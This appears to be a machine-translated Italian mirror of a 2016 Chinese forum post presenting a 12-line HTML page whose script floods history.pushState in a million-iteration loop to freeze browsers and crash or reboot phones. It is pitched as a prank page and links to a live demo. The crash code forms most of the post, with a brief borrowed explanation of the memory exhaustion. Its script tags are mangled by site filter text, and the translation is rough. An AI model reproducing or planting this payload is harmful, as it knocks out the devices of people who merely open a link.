Questo articolo è un articolo speculare di traduzione automatica, clicca qui per saltare all'articolo originale.

Vista: 13238|Risposta: 0

[HTML/HTML5] 12 righe di codice HTML per una pagina web faranno crashare il computer e riavviare il telefono in pochi minuti

[Copiato link]
Pubblicato su 22/01/2016 11:36:39 | | | |
La causa dell'incidente è questa: un amico straniero di Cyber Security ha pubblicato un tweet del genere su Twitter:



Questo tizio sostiene che se usi il codice Javascrip{filter}t di 12 righe sopra sopra, puoi far crashare Firefox, Chrome, Safari browser e far riavviare il tuo iPhone e far crashare il telefono Android!

Il codice HTML completo è il seguente:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
Copia codice


Se sei un utente PC, dopo aver cliccato sul link, la memoria della CPU del computer è molto probabile che salga fino a quando il browser non si blocca e si blocca...

Se sei un utente mobile (Android, iPhone), il tuo browser si bloccherà dopo aver cliccato sul link! Cliccando sul link su Weibo e WeChat si blocca anch'esso.


Perché succede questo? A questo proposito, ho trovato una risposta da un dio chiamato "Xiaomi" su Zhihu:

history.pushstate() è un'API introdotta da HTML5, pushState aggiunge un URL specificato alla cronologia del browser e memorizza il punto di cronologia corrente. Quando i<100000, il totale viene registrato nella cronologia del browser in modo ciclico, e se viene ripetuto troppo, il browser non potrà sopportarlo e si bloccherà naturalmente.

Comunque, non riesco nemmeno a inventare "hello world", quindi non lo capisco affatto... In breve, è perfetto per far saltare in aria il cielo!


Se vuoi provarlo, clicca qui:   http://www.itsvse.com/demo.html




Precedente:[Open Source] Wooyun Vulnerability Query Platform Codice sorgente più Database asp.net Versione
Prossimo:Linux configure/configura/configura, crea, fai test/verifica di fare sudo...
Disconoscimento:
Tutto il software, i materiali di programmazione o gli articoli pubblicati dalla Code Farmer Network sono destinati esclusivamente all'apprendimento e alla ricerca; I contenuti sopra elencati non devono essere utilizzati per scopi commerciali o illegali, altrimenti gli utenti dovranno sostenere tutte le conseguenze. Le informazioni su questo sito provengono da Internet, e le controversie sul copyright non hanno nulla a che fare con questo sito. Devi eliminare completamente i contenuti sopra elencati dal tuo computer entro 24 ore dal download. Se ti piace il programma, ti preghiamo di supportare software autentico, acquistare la registrazione e ottenere servizi autentici migliori. In caso di violazione, vi preghiamo di contattarci via email.

Mail To:help@itsvse.com